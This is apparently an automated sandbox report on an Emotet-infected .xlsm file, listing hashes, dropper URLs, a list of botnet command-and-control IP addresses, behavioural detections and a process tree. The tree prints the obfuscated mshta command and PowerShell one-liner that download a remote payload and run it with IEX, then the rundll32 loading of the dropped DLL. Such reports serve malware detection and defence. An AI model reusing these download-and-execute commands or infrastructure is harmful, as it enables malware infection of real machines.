emotet | 45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536

Analysis

max time kernel
151s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20-01-2022 02:08

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General

Target

2273312037417.xlsm
Size

115KB
MD5

ade959d1528828eccc6468dd5c44b211
SHA1

9d6835a997ddd704e83e1d8679e31deccfb4c546
SHA256

45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536
SHA512

540bc455cceba39cdcb94837f5c532eeda8a118d21406feb6c4b2c72c5b9b3d0d14b8cabc360371ee4478734b76b5f129cdebc3947e93fcab621fc68896db89e

Score

10^/10

emotet epoch5 banker persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2588	3860	cmd.exe	51

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4080 created 3204	4080	WerFault.exe	68

Blocklisted process makes network request 5 IoCs

flow	pid	Process
51	3204	mshta.exe
52	3572	powershell.exe
54	3572	powershell.exe
73	3684	rundll32.exe
74	3684	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3412	rundll32.exe
3940	rundll32.exe
2140	rundll32.exe
3684	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Tdzncwtwvsuzpgme\mtkihmwt.gqd	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3852	3204	WerFault.exe	68

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3860	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3572	powershell.exe
3572	powershell.exe
3852	WerFault.exe
3852	WerFault.exe
3684	rundll32.exe
3684	rundll32.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeSystemtimePrivilege	3344	svchost.exe
Token: SeSystemtimePrivilege	3344	svchost.exe
Token: SeIncBasePriorityPrivilege	3344	svchost.exe
Token: SeSystemtimePrivilege	3344	svchost.exe
Token: SeSystemtimePrivilege	3696	svchost.exe
Token: SeSystemtimePrivilege	3696	svchost.exe
Token: SeIncBasePriorityPrivilege	3696	svchost.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE
3860	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3860 wrote to memory of 32	3860	EXCEL.EXE	61
PID 3860 wrote to memory of 32	3860	EXCEL.EXE	61
PID 3860 wrote to memory of 2588	3860	EXCEL.EXE	66
PID 3860 wrote to memory of 2588	3860	EXCEL.EXE	66
PID 2588 wrote to memory of 3204	2588	cmd.exe	68
PID 2588 wrote to memory of 3204	2588	cmd.exe	68
PID 3204 wrote to memory of 3572	3204	mshta.exe	72
PID 3204 wrote to memory of 3572	3204	mshta.exe	72
PID 4080 wrote to memory of 3204	4080	WerFault.exe	68
PID 4080 wrote to memory of 3204	4080	WerFault.exe	68
PID 3572 wrote to memory of 336	3572	powershell.exe	82
PID 3572 wrote to memory of 336	3572	powershell.exe	82
PID 336 wrote to memory of 3412	336	cmd.exe	83
PID 336 wrote to memory of 3412	336	cmd.exe	83
PID 336 wrote to memory of 3412	336	cmd.exe	83
PID 3412 wrote to memory of 3940	3412	rundll32.exe	86
PID 3412 wrote to memory of 3940	3412	rundll32.exe	86
PID 3412 wrote to memory of 3940	3412	rundll32.exe	86
PID 3940 wrote to memory of 2140	3940	rundll32.exe	88
PID 3940 wrote to memory of 2140	3940	rundll32.exe	88
PID 3940 wrote to memory of 2140	3940	rundll32.exe	88
PID 2140 wrote to memory of 3684	2140	rundll32.exe	89
PID 2140 wrote to memory of 3684	2140	rundll32.exe	89
PID 2140 wrote to memory of 3684	2140	rundll32.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2273312037417.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:32
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3572
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:336
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3412
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3940
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tdzncwtwvsuzpgme\mtkihmwt.gqd",YfCiuc
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2140
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tdzncwtwvsuzpgme\mtkihmwt.gqd",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3684
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3204 -s 1732
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:532

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 18f7ae84ec699d015c5f49e39d6aeb88 pENXZnoQfkS8lHBIlpwrEQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:4024

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 3204 -ip 3204
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/2140-353-0x0000000002FA0000-0x0000000002FC8000-memory.dmp

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memory/3412-336-0x0000000003F30000-0x0000000003F58000-memory.dmp

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160KB

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memory/3572-318-0x000001E4479F0000-0x000001E447A12000-memory.dmp

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136KB

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memory/3572-319-0x000001E42DB83000-0x000001E42DB85000-memory.dmp

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8KB

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memory/3572-322-0x000001E447EF0000-0x000001E447F34000-memory.dmp

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272KB

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memory/3572-323-0x000001E42DB86000-0x000001E42DB88000-memory.dmp

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8KB

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memory/3572-317-0x000001E42DB80000-0x000001E42DB82000-memory.dmp

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8KB

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memory/3572-339-0x000001E447FC0000-0x000001E448036000-memory.dmp

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472KB

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memory/3684-358-0x00000000055C0000-0x00000000055E8000-memory.dmp

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160KB

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memory/3684-370-0x0000000005B00000-0x0000000005B28000-memory.dmp

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160KB

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memory/3684-368-0x0000000005A20000-0x0000000005A48000-memory.dmp

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160KB

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memory/3684-366-0x00000000058F0000-0x0000000005918000-memory.dmp

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memory/3684-364-0x00000000057E0000-0x0000000005808000-memory.dmp

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160KB

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memory/3684-362-0x0000000005700000-0x0000000005728000-memory.dmp

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memory/3684-360-0x00000000056A0000-0x00000000056C8000-memory.dmp

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160KB

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memory/3860-137-0x00007FFC13980000-0x00007FFC13990000-memory.dmp

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64KB

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memory/3860-133-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

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64KB

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memory/3860-132-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

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memory/3860-131-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

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memory/3860-134-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

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64KB

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memory/3860-130-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

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memory/3860-138-0x00007FFC13980000-0x00007FFC13990000-memory.dmp

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64KB

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memory/3940-348-0x00000000053C0000-0x00000000053E8000-memory.dmp

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160KB

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memory/3940-346-0x0000000005360000-0x0000000005388000-memory.dmp

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160KB

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memory/3940-344-0x00000000051D0000-0x00000000051F8000-memory.dmp

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160KB

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memory/3940-342-0x00000000050F0000-0x0000000005118000-memory.dmp

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160KB

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memory/3940-340-0x0000000003260000-0x0000000003288000-memory.dmp

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160KB

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